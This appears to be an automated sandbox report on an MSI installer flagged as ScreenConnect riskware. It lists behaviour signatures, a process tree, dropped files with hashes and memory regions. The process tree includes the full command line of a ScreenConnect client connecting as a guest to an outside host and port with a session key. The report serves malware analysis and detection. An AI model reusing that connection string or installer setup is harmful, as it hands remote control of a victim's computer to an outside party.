Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    15/04/2026, 13:36

General

  • Target
    SecuriteInfo.com.Riskware.MSIL.ScreenConnect.Heur.29504.36.msi
  • Size 1.8MB
  • Sample260415-qwl4zaas21
  • SHA256 52addbccf07f023efef348bbd8c74dbc588f65ab2ddb69b9e676fa0b768c0b99
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 25 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 16 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Riskware.MSIL.ScreenConnect.Heur.29504.36.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:5040
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1696
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 032EE14EB5D826A8BD39959DB1A903DF C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2340
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIFF7E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240648250 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2952
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2032
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 4739402063A8EED6B4AB72501BA16AB0
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3144
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 16CAB2B8A5E0CD44351463BB24E410CF E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2552
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2264
    • C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=82.208.20.199&p=8041&s=aebda13f-26f2-4a84-a782-e2bd182b65ca&k=BgIAAACkAABSU0ExAAgAAAEAAQA11G4g6%2bl4BKXQ3lLmcayE%2fTguge6wmV27n6wlt8EvBiHcsu8P672dpbQaFdNGNeYcZsdbZmUyCJThrZp5XhHJ0vI8KRocvvvxDxRirvN2jyFUkTJMdG9Zzm9XQPWs55XHRB1t%2fziMPJbzZQYTVQcuId0%2bqsjR6kZREKFcywCcswlhQRVKeG2XxXzZ7wIuMtd54hJu7t3udq%2b2Eg0%2fpG2NLZwnnP8a4x7r4YXXLypxEkB7dPrcvJaV9f5mjsw5UxlE9M5jKtNnrlCq1h7fd2hoPBk8U4oAslQeNqjmjvDyQxW5cTASTpnTZiHbbvUyV2DhBmZdk4cI07iOGyQzqmWf&t=&c=ragab&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2664
      • C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe" "RunRole" "bcdf17c5-7fb1-40c6-b0af-0fe571c8f1ac" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3804
      • C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe" "RunRole" "c9132ee5-ee59-476b-ae7e-6468d48ad051" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4588

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e584429.rbs

          • Path C:\Config.Msi\e584429.rbs
          • Size 212KB
          • SHA256 d0bf0c8cc2927e707c904a767ef50a9f878fd11020794657da3915932e554962
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.Override.en-US.resources
          • Size 429B
          • SHA256 bbaa77198e9c9335a2153c60d229350d58e3a5e902877f069cc20dad1b77ae6a
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.Override.resources
          • Size 16KB
          • SHA256 fb20d8327397fd916df25e692c9d83936578784d649931fb4d915ed0506b5bd9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.en-US.resources
          • Size 41KB
          • SHA256 71df8b9623a453ba104d9f363dc8744e72e8b9ae365e78bf685a4ebb96170288
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.resources
          • Size 2KB
          • SHA256 fe22dfd2cb3aedfa930b84b9dfdcde40a12db463503854639ed9aa4e76fb748b
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.Client.dll
          • Size 181KB
          • SHA256 6983d0ae9b4cc96766cab4ddc7af2a55ae436990a848faba43db9ccae839323f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.dll
          • Size 33KB
          • SHA256 d688fb7415f0202e675616015f3ec445a978b458511db963bac63f3091a40be3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.exe
          • Size 92KB
          • SHA256 85774c163dedd186c77a67d252d6591dbf95d054425a9276cfb21223b8ae995f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 dba25d80c0d0a28a98b811502c3b24eab1b2095fe6ae52c1bd15481f9d5aeaa0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe
          • Size 562KB
          • SHA256 19fe3f4314d47013e469ef151b7e383d8d6c596fdfea9bf1565faca1fa13a3df
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\system.config
          • Size 885B
          • SHA256 7f1c82a4a47fd2fba5064c8f92f008c68412372a05d374c23f415b2e5cc3a0c5
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\ProgramData\ScreenConnect Client (b9eddf610409fd2b)\user.config
          • Size 546B
          • SHA256 e968be78ad8ac947f9e2e64a9ccc32ba91a0179020392294cf52bb78b89e5700
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\ProgramData\ScreenConnect Client (b9eddf610409fd2b)\user.config
          • Size 2KB
          • SHA256 1e0ab80d884ae6862a66b64b683832b1febb4f5153f12eb0bb42c4a88234dbd2
          • MD5 SHA1 SHA512 TLSH

          MSIFF7E.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFF7E.tmp
          • Size 356KB
          • SHA256 da61d5b5bada5b0fb6904748b72baa16220d0760d76f3f3d29f6f6588b06f1cd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFF7E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFF7E.tmp-\ScreenConnect.Core.dll
          • Size 439KB
          • SHA256 bad512370d834969316c6c7f8f2daac776155ce99a3652958e0ca7ccd70b556d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFF7E.tmp-\ScreenConnect.InstallerActions.dll
          • Size 20KB
          • SHA256 5698f7e5ca90bdd7ef140710849586ac48f6a09763ca26e21cf4eca8adab15c7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI4504.tmp

          • Path C:\Windows\Installer\MSI4504.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e584428.msi

          • Path C:\Windows\Installer\e584428.msi
          • Size 1.8MB
          • SHA256 52addbccf07f023efef348bbd8c74dbc588f65ab2ddb69b9e676fa0b768c0b99
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 fd0d156eabef698761c54b1884673208fff1e7132f67859d9ac45f6547e980f1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {aaa28353-e01c-46e3-9da1-94cef1486ebc}_OnDiskSnapshotProp

          • Path \??\Volume{fe7bffb0-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{aaa28353-e01c-46e3-9da1-94cef1486ebc}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 d00d71e7c717e48db4259741067739dcbd30f8398ea08147bec31fa45c922298
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1696-129-0x0000021428440000-0x00000214284ED000-memory.dmp

          memory/2032-136-0x000001C3BEAD0000-0x000001C3BEB7D000-memory.dmp

          memory/2032-142-0x000001C3BEAD0000-0x000001C3BEB7D000-memory.dmp

          memory/2264-28-0x0000016C69EA0000-0x0000016C69EA8000-memory.dmp

          memory/2664-73-0x0000000004220000-0x000000000422E000-memory.dmp

          memory/2664-97-0x0000000004DC0000-0x0000000004E10000-memory.dmp

          memory/2664-137-0x00000000054D0000-0x00000000054F9000-memory.dmp

          memory/2664-79-0x00000000042C0000-0x00000000042F4000-memory.dmp

          memory/2664-86-0x00000000046B0000-0x000000000484A000-memory.dmp

          memory/2664-95-0x00000000049E0000-0x0000000004B66000-memory.dmp

          memory/2664-90-0x00000000045B0000-0x0000000004642000-memory.dmp

          memory/2952-22-0x00000000032D0000-0x0000000003344000-memory.dmp

          memory/2952-14-0x0000000003220000-0x000000000324E000-memory.dmp

          memory/2952-18-0x0000000003200000-0x000000000320C000-memory.dmp

          memory/3804-103-0x0000000002DF0000-0x0000000002E24000-memory.dmp

          memory/3804-102-0x0000000000DA0000-0x0000000000E32000-memory.dmp

          memory/3804-107-0x0000000002DB0000-0x0000000002DBE000-memory.dmp

          memory/3804-106-0x000000001C110000-0x000000001C296000-memory.dmp

          memory/3804-139-0x000000001C4A0000-0x000000001C54D000-memory.dmp

          memory/3804-105-0x000000001BF70000-0x000000001C10A000-memory.dmp

          memory/3804-138-0x0000000002D70000-0x0000000002D7C000-memory.dmp

          memory/3804-104-0x000000001BD50000-0x000000001BDC4000-memory.dmp

          memory/4588-132-0x00000000025E0000-0x00000000025EC000-memory.dmp

          memory/4588-133-0x000000001BC80000-0x000000001BD2D000-memory.dmp

          memory/5040-27-0x000001B6E8D40000-0x000001B6E8DED000-memory.dmp

          memory/5040-127-0x000001B6E8D40000-0x000001B6E8DED000-memory.dmp